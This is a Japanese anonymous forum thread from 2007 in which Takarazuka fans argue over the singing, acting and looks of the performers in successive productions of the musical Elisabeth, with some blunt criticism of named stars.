430 ：名無しさん＠花束いっぱい。：2007/06/25(月) 01:52:49 ID:iMfGHJxV

そんなこと言ってたら、星エリザの麻路トートの時点で、
宝塚のエリザは終わってるじゃん。

431 ：名無しさん＠花束いっぱい。：2007/06/25(月) 02:06:34 ID:dgqYQ6vD

おささんって雪組のエリザベート観にいらしてましたか？

432 ：名無しさん＠花束いっぱい。：2007/06/25(月) 10:27:33 ID:kLGwOIaG

歌のレベルはフランツ・ルキーニ・ゾフィが上げてるから
トートの歌が少々弱くても全体の平均点は高いし
ミズの演技力もあわさって見ごたえあるものになってるよ。

433 ：名無しさん＠花束いっぱい。：2007/06/25(月) 14:42:06 ID:xR4CHSJF

少なくとも日本におけるエリザのトートは、過半数が歌唱を苦手としている面々。
ヅカはまだしも東宝でもああいったメンツにやらせてるってことは、
小池はトートの歌唱をそれほど重視してないんだろう。
それを受け入れられない人には見るのはツライな。

434 ：名無しさん＠花束いっぱい。：2007/06/25(月) 15:59:01 ID:1CKLMPIH

>今や歌えない俳優を観客の方がゆるすまい
歌下手トートでも許してるじゃんか。
東宝はプラチナチケットらしいし、
宝塚も差はあっても通常よりは入る。
だから懲りないんだろうなあ。

435 ：名無しさん＠花束いっぱい。：2007/06/25(月) 16:12:46 ID:bgy5K265

『そんなに俺が憎いのか…』トート閣下がお忙しいようなので
（代弁）ランブルーズっした！

436 ：名無しさん＠花束いっぱい。：2007/06/25(月) 19:23:11 ID:7KonKNKg

まあ、何はともあれ歌が苦手な人が
努力をしてもらえるのは、ありがたい！
そして、実際にうまくなってらっしゃる☆
「あぁ、よくぞ頑張って下さった」と感謝する

しかし、しかーーーーし！
「本人比でうまくなった」というのは裏返せば。。。
なので、どうかミュージカルは歌上手い人で観たい。

好みがあるのは重々承知しています。
しかし、なんやかんやで、いっちゃんやおさのトートは
観てて個人的に安心出来る。

まあ、全部好みなんでしょうが。。。
そうなると究極なんでも良いてなるんかな？w

。。。すでになってるかorz

437 ：名無しさん＠花束いっぱい。：2007/06/25(月) 19:33:52 ID:InoRZ9oi

>430
マリコの頃はね～
日本がミュージカル花盛りの時代前で
観客が今程耳が肥えてなかったんだよ～ｗ

コレに懲りて、せめてタニトートは実現させないで欲しい＞劇団。

438 ：名無しさん＠花束いっぱい。：2007/06/25(月) 19:49:18 ID:5xcVJril

>437
これに懲りてって、今回の雪エリザは、
私的には、初演の雪に並んでヒットですよ。

初演雪はビデオでしか見れなかったけど今回は生で観れて幸せでした。
初演の雪を生で観れた人がうらやましい。

439 ：名無しさん＠花束いっぱい。：2007/06/25(月) 19:51:54 ID:7KonKNKg

>437
タニトートか。。。ビジュアルは良いはずや☆
ファンやから観てみたいが、、、まあ、歌がねorz
うめもねorzかわいいんやけどなぁ
でも、トップ（タニ、うめ）以外は歌上手いw

そういや、タニが山ピーに似てると思うのは俺だけか？

440 ：名無しさん＠花束いっぱい。：2007/06/25(月) 19:56:16 ID:7KonKNKg

>438
あぁ、俺も初代雪観たかった
おかんは４回くらい観に行ってた
おかんは、初めてみたのが雪エリザやったみたいで
「宝塚ってめっちゃレベル高い！」と思ったらしい
んで、星のエリザを楽しみに行って「は？」て感じたらしい

星のエリザがどうのというのではなくて、
まあ、あくまでおかんの感想

441 ：名無しさん＠花束いっぱい。：2007/06/27(水) 07:30:29 ID:gO0gxb72

何気に歴代のどんな娘役より
うめの個性がエリザにはまるんじゃないかという結論に達した。
自分の中だけでね。ｗ

442 ：名無しさん＠花束いっぱい。：2007/06/27(水) 09:24:49 ID:RKHWqGbA

441に同じ。今のﾋﾛｲﾝでｴﾘｻﾞできるのはうめちゃんとあすかちゃん。
水ﾄｰﾄが惚れぬくｴﾘｻﾞはうめちゃんしかない！と思ってるんで。
歌えたらｴﾘｻﾞやっただろーね彼女。となみちゃんより持ち味はいい。

443 ：名無しさん＠花束いっぱい。：2007/06/27(水) 12:48:00 ID:XXPq9Iw6

ウメは豪華なドレスだと娼婦に見えるわけですが…。
演技はあさこシシィに近そう。

444 ：名無しさん＠花束いっぱい。：2007/06/27(水) 22:29:54 ID:oU4XsAbe

楊貴妃とかを見た限り大味系の大根でしょ～
みなみの梅妃の方が儚さとか出てたし
あさこの方が演技は上だと思う

445 ：名無しさん＠花束いっぱい。：2007/06/28(木) 21:30:41 ID:rN5fYrXX

演技云々だよあさこは。勘弁！

446 ：名無しさん＠花束いっぱい。：2007/06/28(木) 23:45:15 ID:XvukWglC

>>443
ウメはメイクを失敗しなければ・・・
まぁ、驚異のウエスト50cmは一番ウメが近いなｗ

そういや、ウメ雪娘1って話が出た時、
シシィ＝ウメ
↓
しきたりを重んじるゾフィー＝雪の組カラーを仕込むハマコ＆雪娘達
↓
立ち向かうシシィ＝ウメ

ってのが頭に浮かんだｗ

447 ：名無しさん＠花束いっぱい。：2007/06/30(土) 23:01:08 ID:cYtLFY/f

ウメは歌がダメダメだから無理！！
エリザはトートと同じでシシィも歌えなかったら意味なし！！

448 ：名無しさん＠花束いっぱい。：2007/06/30(土) 23:55:44 ID:h5f6rTnn

となみもたいが(ry
ウメより遥かにマシだろうけどさ。

449 ：名無しさん＠花束いっぱい。：2007/07/01(日) 02:01:39 ID:30AeqeCp

ウメの「私だけに」を１回だけ聴いてみたひ

450 ：名無しさん＠花束いっぱい。：2007/07/03(火) 08:31:50 ID:T4mndnR0

再演雪。
私が観たとき、鳥と魚の黒天使めっさトゥシューズのダンス下手やった。
月のDVD観たらすごくうまくて二人ともぴったりあっててダンスは月の方がレベルは高いとｵﾓﾀ
雪観たの千秋楽１週間前で疲れてたかな？
ビデオ撮りの日だったけどありゃだめだめ　だよ

451 ：名無しさん＠花束いっぱい。：2007/07/03(火) 18:08:14 ID:XaWS1ueo

>450
多分組によってダンス上手い下手はあるんやないかな。
雪は歌と演技でしょ☆
しかし、ここ最近歌えない人（ダンス派）がトップなんで、
ダンス向上のため、、、とか？

452 ：名無しさん＠花束いっぱい。：2007/07/04(水) 00:02:48 ID:ZeRmg2vd

>>450
禿道！お立ち台であんな踊りだったら、踊らない方がまし、って思ったくらい。
別にダンスの組でなくたって、２人くらいまともにバレエ踊れる子いるだろ、
と思ったんだが・・・orz

453 ：名無しさん＠花束いっぱい。：2007/07/04(水) 08:26:25 ID:/ajO805y

>>450だけど
月はそれほどダンス上手いってわけじゃないとｵﾓ
だけど雪再演はありえないくらい下手。選ばれた理由が分からない
バレエやってる姉に聞いたらマデレーネの一番はゆら姐さんだと。ポジションがほんとうに綺麗らしい。
雪再演は歌もどうかと思うけど･･･
上手いのってゾフィとフランツのみじゃん

454 ：名無しさん＠花束いっぱい。：2007/07/04(水) 09:07:29 ID:99t+tc31

水のトート、歌い方の趣味が悪すぎる。終始ネトネト歌って抑揚なくてパンチもなくて超きもかったわ。
自分に酔うだけの勘違いには、トートは務まらないわ。
あんな自分に酔うだけのﾄートは初めて、オサでもあんな勘違いはしなかったわ。
あまりにもヘボいトート、二度とごめんだわ。
タニの歌みたいに、船酔いしたの。わたし三半規管弱いんですもの。
水トートがさえこトートより倍上手いって書いてあったから、更に油断したの。
さえこより下手だった。同じ下手でも、
さえこは歌い方の趣味が良くて、抑揚もパンチもあったもの。
全体的には、あのまりこの方がマシだった。まりこは身のこなしがセクシーだったもの。
しぐさや動作も、無駄に動くだけで、水のトートの動作には、全く意味がないわ。
あんな落ち着きのないトートはきもちわるいわ。

となみはただただイライラさせられるシシィで、
新雪エリザはレベル低すぎ、エリザではないわ。

次の組に期待するわ。

455 ：名無しさん＠花束いっぱい。：2007/07/04(水) 09:38:03 ID:Zid9dXL6

確かに、今回の雪は、好みの別れるところ。
今までとも、微妙に違う演出や役づくりに
途惑ったところも何箇所かあった。

でも、全体に、男役より娘役が期待外れ。
シシィは勿論、マダムウﾟォルフ、ヴィンディッシュ嬢・・・・
マデレーネと、美穂さんは良かった。

あと、キムの落ち着きのないルキーニも、私はダメだった。
実力は申し分ないとは思うんだけどね。
今回のエリザ、歌で聴かせられない部分は、演出の変更で
カバーしようとしたところが多々あったと思う。
それが良かったかどうかは、観た人の好みだろうけど。

456 ：名無しさん＠花束いっぱい。：2007/07/04(水) 10:03:44 ID:9cZfygF4

演出も出演者も頑張ったけど…頑張ったけど…
音痴さんのミュージカルには限界があるってことかな。
ミズもとなみも好きだから、もっと似合う役をみたいだけ。

457 ：名無しさん＠花束いっぱい。：2007/07/04(水) 10:15:10 ID:qGufvQT/

となみの大言壮語ぶり「娘役人生をかけて頑張ります」。
大口叩いたくせに歴代最悪のシシィ。
研１０、２８歳にもなってあの無能ぶりに激しく失望した。

458 ：名無しさん＠花束いっぱい。：2007/07/04(水) 10:16:25 ID:lH9MBrHA

マダムウﾟォルフにちょとﾜﾛﾀんだけど
だいたい>>455に同意だわ

ヴォルフさんは新公のせーこのほうが迫力あったし
ヴィン嬢にいたっては花を渡してる子（どなただか分からなくてｽﾏｿ）
のほうがいい演技をしていたからそっちに目がいった
シシィはヒステリックすぎて見ていられなかった

459 ：名無しさん＠花束いっぱい。：2007/07/04(水) 10:24:38 ID:6CLYUwIl

ウﾟォルフはどう発音したらいいのだろう。ぽるふ？

460 ：名無しさん＠花束いっぱい。：2007/07/04(水) 11:11:10 ID:n4N8Fg+3

>454
わざわざ上げて、乙。
ここもしばらく静かだったけど、アンチが活躍し始めると
公演始まるんだなあ～と分かる。

461 ：名無しさん＠花束いっぱい。：2007/07/04(水) 12:30:44 ID:MC5B2Xex

律義ですなぁ～。
ムラ楽から今日までは下がりまくりだったのにw

462 ：名無しさん＠花束いっぱい。：2007/07/04(水) 13:14:58 ID:/ajO805y

歴代シシィの研何年と、実年齢を教えてください。

463 ：名無しさん＠花束いっぱい。：2007/07/04(水) 14:01:02 ID:9Wi9tidh

実年齢はｼﾗﾈ。
雪：花總研6
星：白城研9、10？
宙：花總研8
花：大鳥研10
月：瀬奈研14

かな。
お花が研6でやってたことにあらためて驚き。

トップに就任してからの年数に違いはあれど、
あやか、みどりも研10くらいでやってる。
やっぱり本人のキャラの違いか。

しかし、あやかやみどりは少しきついというか強いイメージがあるが、
シシィはきつくはないと思うし・・・

464 ：名無しさん＠花束いっぱい。：2007/07/04(水) 14:24:25 ID:/46I+Bjf

シシィはきついだろ
お嬢様でメンへラーだもん
強情でピリピリしてて周りが大変そう

はなちゃんみたいな得体が知れない人は
メンヘルにならなくて済みそう

465 ：名無しさん＠花束いっぱい。：2007/07/04(水) 14:30:03 ID:oRfgYOkV

花様、二回目でも他の４人より下級生なのね。

466 ：名無しさん＠花束いっぱい。：2007/07/04(水) 15:17:23 ID:Auz7QZ1N

ホントだ。今日から舞台稽古、明後日が初日だから
わざわざ感想もどきを書き込んでるんだね。なるほど・・・・。

東京で観劇される幸運な方々、ご報告ﾖﾛ。

467 ：名無しさん＠花束いっぱい。：2007/07/04(水) 15:19:42 ID:FpXsCJK6

>>466
うん、まっててね！

楽しみ～～

468 ：名無しさん＠花束いっぱい。：2007/07/04(水) 15:20:28 ID:9cZfygF4

マイナス面を書くとすぐアンチ扱い…っていう擁護隊も
早々とスタンバイＯＫなのですね…ご苦労様です。

469 ：名無しさん＠花束いっぱい。：2007/07/04(水) 16:49:14 ID:Auz7QZ1N

どう贔屓目に見ても、上げて書いている454をアンチだと思わない方が難しいよ。
それ以外は、まともな意見として読める。

470 ：名無しさん＠花束いっぱい。：2007/07/04(水) 17:26:49 ID:9Wi9tidh

歌い方に趣味の良さや悪さがでるのかｗ
いやそれ以前に歌い方の「趣味」の良さってなんだと小一時間(ry
普通に歌い方が嫌って言えばいいじゃんｗ

しかし自分水ファンだが、さえちゃんの方がビジュアル、衣装はよかったと思う・・・
歌も声量はあったし。
マリコさんのは未見。

でも高笑いとダンスは受け付けられなかったよｗ＜さえちゃん

471 ：名無しさん＠花束いっぱい。：2007/07/04(水) 17:36:51 ID:vj0PVqeM

>>450
(゜Д゜≡゜Д゜)ｴｯﾅﾆﾅﾆ?
ダンスが月の方が上ってｗｗｗｗｗｗｗ
男の群舞まったく揃ってなかったのにぃ？

472 ：名無しさん＠花束いっぱい。：2007/07/04(水) 17:44:17 ID:WV/a9uTP

>>470
ていうか、ヴィジュアルや衣装でサエコの上に行こうなんて
最初から思ってないでしょ。
思ってた？
サエコの台詞回しは大げさだけど、あれで
時間の流れに変化が付くというか…よかった
ダンスは…ﾓﾆｮﾓﾆｮﾍﾆｬン

473 ：名無しさん＠花束いっぱい。：2007/07/04(水) 19:03:38 ID:MC5B2Xex

サエコさんのお顔がタイプでないので、
ビジュアルと言われてもまったくわからないから語れない。
（ミズのがいいと言う意味ではない）
声量は間違いなくサエコさんの方があった。喉も強いわな。

474 ：名無しさん＠花束いっぱい。：2007/07/04(水) 19:45:22 ID:XVYa6IsR

>>471
群舞がうまいとは言ってない。
鳥と魚のトゥの人がうまかった。
群舞の話だすっていうのは揚げ足を取りたいだけですか?

475 ：名無しさん＠花束いっぱい。：2007/07/04(水) 19:49:52 ID:XVYa6IsR

すいません。
あげてしまいまｓた・・・・・
逝ってきます

476 ：名無しさん＠花束いっぱい。：2007/07/04(水) 20:01:10 ID:IJarPYf/

ｼﾞﾌﾞﾝ的にはタッパも元の顔もﾓﾆｮﾙミズが
ビジュに頼るのは無理があったかなと。
マリコはなんせタッパもあってガタイも良くて
掌も大きくて見映えがした。
歌は最悪だったけど。
サエコは、好きなタイプじゃないけど、やっぱり綺麗。
タッパもミズよりあって見映えしたし。

ミズはビジュだけをウリにするには弱く
歌は↑の３人と似たり寄ったり。
喉が弱い分、迫力が出ないって意味では過去最悪かも。

どっちにしても歌えないトートはノーサンキューなので
初演雪、宙、花の時みたいに通わなかった＞今回の雪エリザ。

他のキャストでは、ヴィンディッシュは過去最低だった。
マダム・ヴォルフも同じく。
シシィは、ビジュはｼﾞﾌﾞﾝ的にはいけてた。
演技が・・・だったけど。

477 ：名無しさん＠花束いっぱい。：2007/07/04(水) 20:03:49 ID:L87UdrCY

私もさえちゃんのトートは髪がなんだかこぎたなくて嫌いだった。
さえちゃんのお顔はきれいなのに…
そんで月トートがビジュアル重視って言われてるのが
ぜんぜんわからない。
個人的には一路トートのクラシカルな装いが一番好きだ。

478 ：名無しさん＠花束いっぱい。：2007/07/04(水) 20:50:40 ID:oe/tJQfi

>474
そうそう、闇広のダンスがビシッ！と合ってた星エリザが
ダンスが上手いとは言われないしね

>477
ｵｲﾗもイチロさんの黒地に肩に星の模様?が入ってるあの衣装が一番好き

479 ：名無しさん＠花束いっぱい。：2007/07/04(水) 21:42:25 ID:9lFtLiNp

となみのシシイってキャラぼけすぎ。
でかい顔のごろっとした輪郭だけ、
初代のころのアントワネットに似てるね。

ぜんぜん歌えないけど。

480 ：名無しさん＠花束いっぱい。：2007/07/04(水) 22:25:13 ID:xgHQVHAk

>>476宙通ったんですかすごいですね!(^^)!

481 ：名無しさん＠花束いっぱい。：2007/07/04(水) 22:32:32 ID:/ajO805y

さえトートは、今見ると違和感がないけど、当時薔薇の封印でやった吸血鬼のミハイルにだっけ？にみえて、あっ薔薇の封印の続編！ｷﾀｰ（°∀゜）だった
薔薇～もイケコだったしまじでミハイル復活したとｵﾓﾀ
シシィを仲間にしたい吸血鬼。
ハプスブルグ家に隠された五輪の薔薇を求めて･･･　　　　　　　　　　　　
別にさえアンチではなくただそう感じただけ。
今DVD観てもミハイルとは思わなくなった

482 ：名無しさん＠花束いっぱい。：2007/07/04(水) 22:44:51 ID:i9XQDx2e

今回のルドルフどうなの？？？

483 ：名無しさん＠花束いっぱい。：2007/07/05(木) 00:15:24 ID:BqCfufYV

結構がんばってムラに通った。
私にしてみればやっぱり主役はとなみ（というよりエリザベート）で。
で、となみがのれんに腕押しだったので知人のファンでさえorzとなってた。

本人がほわほわな天然系だからなあ。
確執だの計算だの政治への参加だの、自立への執着だの猜疑だのを
演じるためのベースとなる「強烈なまでの自我」とか
「負の感情」自体とあまり縁がなさそうだ…。

484 ：名無しさん＠花束いっぱい。：2007/07/05(木) 00:30:05 ID:8wSvXvGz

こんなにさえこトートの支持者が一杯いたなら
あの当時出てきてあげれば良かったのにねえ・・

ていうか、今回も初日直前。なんかトップが決まってからの
水アンチ（に端からは見える）の書き込みはあまりにも統制が
とれすぎてて、私の大嫌いな某広●代理●のにほひがして
嫌だｗ

485 ：名無しさん＠花束いっぱい。：2007/07/05(木) 01:02:23 ID:f5ZdxrTX

>>471
鳥と魚の話をしているんだよ。男役の群舞の話じゃない。
ってか、今回雪の鳥と魚下手すぎ。

486 ：名無しさん＠花束いっぱい。：2007/07/05(木) 02:30:46 ID:VKgcuwh5

＞485
まあ・・いいじゃない、ついでに群舞にまで話が及んでも。
話が流れて移っていくのも普通に良くあるでしょう。

私も、群舞は星が一番好きかな～。
特典ＤＶＤで見たけど、稽古場風景から、
黒天使の立場としての、息の合い方がピッタリで・・
フィナーレの群舞も（顔の気合の入り方も）見ていて面白い！

フィナーレ男役群舞の衣装も、雪・星までがすっきりしていて好きです。

487 ：名無しさん＠花束いっぱい。：2007/07/05(木) 06:48:41 ID:utrn6PnJ

>>462

1996雪：花總　研６　２３歳　本公演主演４作目
1996星：白城　研９　２９歳　本公演主演９作目（退団作品）
1998宙：花總　研８　２５歳　本公演主演10作目
2002花：大鳥　研10　２９歳　本公演主演７作目（退団作品）
2005月：瀬奈　研14　３１歳
2007雪：白羽　研10　２８歳　本公演主演３作目　　　　

488 ：名無しさん＠花束いっぱい。：2007/07/05(木) 08:27:34 ID:qlWxNELs

>>487ﾄﾝくす
>>462です　
改めて初演ハナちゃんっあの若さですごいとｵﾓ
となみかわいそ。
となみは怒り狂ってるだけ。
芸歴の長いアサコの演技が一番かな。いつもほろっとする。
見た目がニューハーフにしか見えなかったけど･･･
私は宙通ったから基準がそこなので贔屓目でみてしまうけどハナちゃんすごい。

489 ：名無しさん＠花束いっぱい。：2007/07/05(木) 12:09:13 ID:BskAMGuY

あさこは男役だからビジュアル、歌は触れないでおこうと思ってたｗ
演技はよかった。

お花は初演であの若さで、か・・・

個人的に、
初演雪：これが基準点、新公もハイレベル。私が踊る時さえあればなぁ
星：ああ、お歌って大事なのね。あやかだけ見たい
宙：でかいトート。初演お花なら潰れてそう。
花：演出と衣装の色合いさえよければ完璧。
月：足りてないものが多いが、絶妙なバランスで崩れないジェンガ
再演雪：ゾフィーが支えてるハプスブルク＝作品。本当にシシィが王家を滅(ry

490 ：名無しさん＠花束いっぱい。：2007/07/05(木) 12:13:49 ID:2P3d8Kar

お花は初演、あやかとみどりは退団、あさこは男役がタイトルロール、と
それぞれに必死になる理由があったからそれが舞台ににじみ出てたと思う。
宙の時のお花は、歌は安定してたけど必死さはなかったもの。天然系とかちょっとおバカ
系の役が似合うとなみには根本的に合わなかった気がする。

491 ：名無しさん＠花束いっぱい。：2007/07/05(木) 12:30:31 ID:aJwldgZz

>天然系とかちょっとおバカ系の役が似合うとなみ
となみって鈍くさいんじゃなくて意外と強情なのかも知れない。
鳥のように羽ばたきたいと外に向かうエネルギーは感じられなかった。
自分の周りにバリア張ってるみたいだった。

492 ：名無しさん＠花束いっぱい。：2007/07/05(木) 12:33:27 ID:uGRhs0fi

白羽ゆり研10 ２８歳
「私の宝塚人生、娘役(人生)を賭けて頑張ります」
一大決心したようなご大層な発言をした割に結果はこれ…。
ステレオタイプに通り一辺なぞって、私ガンバリましたあ！と言う感じ。

493 ：名無しさん＠花束いっぱい。：2007/07/05(木) 12:48:40 ID:DkOa8VHa

メディアで平気でそんな事を言えること自体が
シシィには、向いて無いんだよ。

みんなシシィをする上で、苦しんでる。
一路さんやアサコは、夜になれば眠れなかったり、
円熟期のあやかちゃんでさえ、
辛くて、頭打ち何回もしたって言ってるのに、
となみは、役づくりをして行く段階で
そんな気持ちになったのだろうか？
エリザが出来るだけで、嬉しくて仕方が無い、
エリザをしてるあたしを観て！て感じにしか見えなかったんだよ。

494 ：名無しさん＠花束いっぱい。：2007/07/05(木) 12:49:45 ID:1mEvIc3N

全作品観たけどエリザベートはあさこが一番。歌が安心。となみエリザベートはほんと、歌がハラハラしちゃって観てて疲れちゃうんだな。

495 ：名無しさん＠花束いっぱい。：2007/07/05(木) 12:56:05 ID:oDsFomMn

そうかなぁ、私はとなみエリザ良かったと思ったけど。姫役者と思ってたが、成長したと感じた。人それぞれ感じ方は違うけど。

496 ：名無しさん＠花束いっぱい。：2007/07/05(木) 13:05:55 ID:YvEvOiTX

アサコは役作りがヅカ版の歌詞と微妙な違和感があって可哀想だった。
東宝版の歌詞の方が合ってたと思う。多少アサコに合うように歌詞の変更
があっても良かったと思う。イタ違いかもだけど苦悩、孤独、時間の経過
が一番感じられたのが一路シシィだな。ピーンと一本、線が張って最後まで
緊張感があった。あやかは後半よかったけど思ったより地味だった。
お花は初演の方がいい。

497 ：名無しさん＠花束いっぱい。：2007/07/05(木) 13:28:53 ID:rQX9w8eZ

板違いが許されるなら、一番はマヤさんですw
ヅカはあさこのシシィが好き。
男役のあさこはあんなに芝居が浅いのに、シシィは共感できた。
あまり評価する人がいないけどみろりシシィも好きだったな。
みろりが好きだったからw

498 ：名無しさん＠花束いっぱい。：2007/07/05(木) 14:15:14 ID:fJkfUihI

星の群舞はノル・リカ・オトコと路線にダンサーがいたし、
アンサンブルにもダンサーが多かったから見ごたえあった。
しかもそういう人たちが足を上げる高さとかをびしっと
揃えていたからね。今回の雪はどうかな。来週見てきます。

499 ：名無しさん＠花束いっぱい。：2007/07/05(木) 15:03:02 ID:LVuoFkDc

トートは、春野さんのトート像が私の理想像に近かったです。
若くてまだ荒削り感はありましたが、シシィを中性化したような雰囲気が、
トートはシシィの鏡だと解釈している私の中でしっくり来ました。
又、魔性の歌声で死へ誘い込むセイレーンのような妖艶・冷酷鬼畜な雰囲気が、
徐々に死に誘惑され魅了されて行くと言うのはこんな感覚だろうなと思わせました。
ただ、シシィ役は、春野トートなら花總シシィの方が、鏡のような表裏一体感が出るだろうなと思いましたが。

500 ：名無しさん＠花束いっぱい。：2007/07/05(木) 15:47:41 ID:cJ/FLsgD

>497
わたしも麻子シシィとみろりシシィが好き。
初演ハナのシシィは可憐で可愛らしさではダントツだけど
あれはシシィではないわ・・・

そしてトートとルドルフは歌える人が絶対条件。
ずっこけるような「闇が広がる」はかんべんしてほしい。
オサトートとユミコルドルフは良かったなぁ　振りが組体操だったけど

501 ：名無しさん＠花束いっぱい。：2007/07/05(木) 15:55:54 ID:ZOMEJ3ju

エリザほとんど観てるけどトートだけでも皆違っていて面白い。
ズンちゃんの力強い存在感バッチリのトートと真逆の影のような
妖艶なサエコトートが好き。マテさんのロックシンガートートもカッコイイ
東宝山口さんは立派過ぎてチョット引いてしまう。
シシィはアサコシシィが好き。芝居ビジュアル共よかった。
何故か男役なのに一番初々しく可愛かった。東宝でも観たい。

502 ：名無しさん＠花束いっぱい。：2007/07/05(木) 16:07:52 ID:nWLkDYsQ

>>484
宝塚エリザスレたったのって、雪再演きまってからだよね。
それまでは組スレ内で語ってたんだよね。それぞれ。
ネット大好きなファンらしく、もうスレ４なんだね。

503 ：名無しさん＠花束いっぱい。：2007/07/05(木) 17:17:33 ID:DitKQXy6

月の時にもエリザスレは立ってるっちゅーの。
で今回みたいにオタとアンチの罵りあいになったから
公演終了と同時にスレ立ても終了。

504 ：名無しさん＠花束いっぱい。：2007/07/05(木) 18:27:22 ID:aJwldgZz

一個目のスレ見たけど、星でって噂だったの？
それで今でも星エリザの話が出るんだ。

505 ：名無しさん＠花束いっぱい。：2007/07/05(木) 18:46:32 ID:DitKQXy6

今回のがってこと？
情報スレと雑誌スレのそれなりに実績ある鳥付きがそれぞれとうあすのエリザを
落としたからじゃないかね。
雑誌スレのほうはとうあすじゃなく「新公エリザで主演したコンビ」ということだったけど。

あと前回と同じローテーションでいくんじゃないかとか
歌手にやらせるだろうという予想みたいな願望みたいなもんじゃないかね。

506 ：名無しさん＠花束いっぱい。：2007/07/05(木) 18:54:02 ID:aJwldgZz

>今回のがってこと？
うん。まだエリザ再演って発表前みたいだったよ。

507 ：名無しさん＠花束いっぱい。：2007/07/05(木) 20:02:39 ID:7GI2IFRJ

今回のルドルフ、最悪です。
歌下手。
常にスタッカートみたいな歌い方。
コーラスが大きすぎて闇広うまく聞こえない。

アサコさんは芝居もうまかったけど、歌もうまかった。
安心して聞けるし、うまく心情を歌に乗せていた。
となみ、ただ怒鳴っている。
頑固なおばちゃんって感じ。
融通きかんなーって思う。
パパみたいになりたいの歌、メロディに乗れてないと思うんだが。
なんか微妙にずれているような･･･

508 ：名無しさん＠花束いっぱい。：2007/07/05(木) 20:29:43 ID:yac6aMXt

おばちゃんはあさこでしょｗ
見た目がどうしてもダメだった　(　ﾟдﾟ)　　　
となみ、かなめはきれいで見てるだけでうっとり。
歌もそんなに酷いと思わないし群舞も揃っててよかったよ。

509 ：名無しさん＠花束いっぱい。：2007/07/05(木) 20:37:04 ID:S1DVbBue

シシィは初演の花ちゃんが好きだな。
宙のシシィは全く好きになれなかったけど。

510 ：名無しさん＠花束いっぱい。：2007/07/05(木) 20:41:45 ID:Tv2stzfk

>>501
＞一番初々しく可愛かった。

(´・ω・｀)冗談ﾀﾞﾖﾈ

511 ：名無しさん＠花束いっぱい。：2007/07/05(木) 21:30:26 ID:gaT4CbS0

かなめ、ルドルフ歌下手なの？

512 ：名無しさん＠花束いっぱい。：2007/07/05(木) 21:37:43 ID:DkOa8VHa

＞510

少なくとも、少女時代は絶品だと思ったよ。
初めて娘役としてタイトルロールを演じる男役として、
仕草一つにしても、娘役以上に気を遣ってたと思う。

最終通告のシーン以降は、全く男役がやってるという違和感を
感じなかったし、
時間の流れが、より鮮明に分かった。

513 ：名無しさん＠花束いっぱい。：2007/07/06(金) 00:25:47 ID:kMGL3l+M

>511
歌は上手くない＞かなめ。
過去のかなめ比では上手くなってるけど、トートも下手だから闇広はまじで闇の中に落ちる感じ。

アサコシシィのファンがいるのは判ったけど
歌が上手かったって・・・ファンには何でもいいってことなのねｗ

514 ：名無しさん＠花束いっぱい。：2007/07/06(金) 00:30:40 ID:Fxjp9MVm

闇は広がるは、雪組初演の一路＆香寿の感動が忘れられない。
香寿は容姿でいろいろ言われるけれど、
あのデュエットのハモりは、声質も含めて最高だったよ。

515 ：名無しさん＠花束いっぱい。：2007/07/06(金) 00:59:17 ID:PHCoZbOd

タータンは「ルドルフ」としてはビジュがね。
つか、革命成功しちゃいそうな気がしてしまう辺りがｗ

闇広はオサゆみが一番好きだ。

>>508となみ、綺麗じゃないとは思わないが、オーラがないよ・・・
ヒステリックと孤高、孤独さを勘違いしてるんじゃないかと。

>>493にはほぼ同意。
水のトートもそうだけど、
となみにシシィやらせたきゃ扮装だけでよかったんじゃないのかと。

516 ：名無しさん＠花束いっぱい。：2007/07/06(金) 01:30:43 ID:9HzmBrgm

雪東京初日前に一暴れしたい人が多いらしく
なんだかんだ落としレスの多いここですが、
ムラでは花以来という大入り袋に東京での超チケ難、
観たい人はちゃんと沢山おりますのでご心配なく。

517 ：名無しさん＠花束いっぱい。：2007/07/06(金) 01:57:21 ID:rp4Ie4HL

まぁね。エリザにしては公演回数も断然に短いしね。
それに、本場エリザに便乗して、歴代の中でも過去一の宣伝をしてくれたのだから
売れなかったら、それこそやばいでしょ。

518 ：名無しさん＠花束いっぱい。：2007/07/06(金) 02:03:37 ID:PHCoZbOd

ハマコゾフィーとゆみこフランツが見たい＆聴きたい。
水トートも歌えないのはわかりきってるから、衣装と鬘(前髪作れ)がよければ見たかった。

どうしても登場シーンの衣装が、
たかこの捕われたマンリーコが着てたボロ布にしか見えないんだよ・・・orz

519 ：名無しさん＠花束いっぱい。：2007/07/06(金) 02:16:53 ID:7wlGajrq

またしばらくここもにぎやかになるな。。

520 ：名無しさん＠花束いっぱい。：2007/07/06(金) 05:01:24 ID:nHZIBvPN

ゆみこフランツとハマコゾフィーを聞きたい…
でも東宝マジチケ難(´；ω；｀)
オケピ出ないしオク高いしorz
不謹慎だけど、ツボらなかった人がチケ手放してくれるのを願ってる…
スレ違いスマソorz

521 ：名無しさん＠花束いっぱい。：2007/07/06(金) 06:36:59 ID:ZvJmkc27

>516>ムラでは花以来という大入り袋
>517>まぁね。エリザにしては公演回数も断然に短いしね。
よくわからないけど大入り袋って花エリザのこと？ならムラ５週間公演。
花エリザ東宝は６週間だったから今回の雪とは逆、雪はムラ６週間東宝５週間。
月エリザは両方とも６週間だったけど。

522 ：名無しさん＠花束いっぱい。：2007/07/06(金) 07:36:03 ID:ErMOD7Sn

>>516ってあちこちで同じこと書いてない？
エリザなんだから当たり前でしょ、バカ！

523 ：名無しさん＠花束いっぱい。：2007/07/06(金) 08:28:24 ID:FS77VEEr

あさこの少女時代の「ママァ」っていうとこがかなりマイつぼ。
プリンセスらしくないところがでてる。
あさこは歌うまいと思うんだけど･･･
雪再演、マダムブォルフ、なんか若すぎる。マダムには見えない。
マダム病気なので代理ですって感じ。登場の仕方も変。　　　　　　　　　　
となみはダイエットしてる感がない。
かわいそうだけど、健康にしか見えない。ただ老けただけだよ。

ルドルフはコムのいっちゃった目がサイコー。
生きるあてが本当になくなったのが伝わる。

524 ：名無しさん＠花束いっぱい。：2007/07/06(金) 08:32:55 ID:iOiZXeOY

雪は、公演6週間あっても、大入り袋が出たなら、健闘してるんじゃないの？

今日から東宝初日ですね。オクはチケット高すぎ・・・・行きたいのに。

525 ：名無しさん＠花束いっぱい。：2007/07/06(金) 08:39:42 ID:IvvteDZM

彩輝直主演でも完売できるんだよ、エリザなら。あんた達本当にバカだね。

526 ：名無しさん＠花束いっぱい。：2007/07/06(金) 09:12:35 ID:iOiZXeOY

でも、あのときは、アサコファンもいたんだから、完売するでしょ。

527 ：名無しさん＠花束いっぱい。：2007/07/06(金) 09:30:33 ID:PHCoZbOd

>>526IDが泣いてるぞｗ

